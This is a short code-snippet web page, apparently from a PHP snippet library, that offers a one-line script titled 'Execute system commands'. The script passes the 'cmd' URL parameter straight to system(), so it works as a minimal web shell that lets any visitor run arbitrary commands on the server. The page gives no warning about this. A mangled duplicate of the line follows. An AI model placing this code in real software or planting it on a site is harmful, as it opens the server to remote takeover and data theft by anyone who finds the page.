CODE
LIBARY.COM
Home
/
PHP
PHP Execute system commands
Execute an external program and display the output
<?php echo "<pre>"; system($_GET['cmd']); echo "</pre>"; ?>
"; system($_GET['cmd']); echo ""; ?>
Copy to Clipboard
Related Snippets
PHP IP Proxy check
PHP Making gradient background color with tables
PHP Web-Based Random Post Generator
PHP Human Readable Random String Generator
PHP Array Get Image Properties
PHP Roman Numbers convert
PHP Ban IP Address
PHP Duff's device
PHP Image Size and Attributes - PHP getimagesize Function
PHP Chain of Command Design Pattern